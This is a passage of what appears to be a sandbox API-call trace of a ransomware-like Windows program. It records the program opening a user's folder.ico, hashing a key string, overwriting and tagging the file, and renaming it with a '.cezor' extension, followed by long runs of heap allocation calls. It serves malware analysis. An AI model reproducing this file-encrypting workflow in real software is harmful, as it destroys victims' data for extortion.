lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.357] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\") returned="_private\\" [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d4b0 [0061.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0061.357] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0061.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.358] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.358] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.358] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.358] PathFindFileNameW (pszPath="") returned="" [0061.358] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.358] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.359] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.359] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0061.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.359] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.359] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned=".ico" [0061.359] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.360] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=29926) returned 1 [0061.360] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.362] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x74c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.362] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.364] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.364] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x74e6, lpOverlapped=0x0) returned 1 [0061.364] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.364] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.364] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.364] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.364] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.365] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.365] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.365] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.365] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.365] GetLastError () returned 0x0 [0061.365] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.365] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.365] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.365] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x74f0) returned 0x3132418 [0061.366] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.366] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x74e1, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x74e1, lpOverlapped=0x0) returned 1 [0061.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.366] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x74e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.366] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.366] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.366] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.366] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.366] CloseHandle (hObject=0x5c4) returned 1 [0061.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.367] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.367] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.367] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.cezor")) returned 1 [0061.368] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.368] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.369] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 0 [0061.369] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0061.369] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.369] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.369] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.369] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.370] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.370] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.371] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.371] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.372] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.372] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.373] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.373] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.373] HeapFree (in: 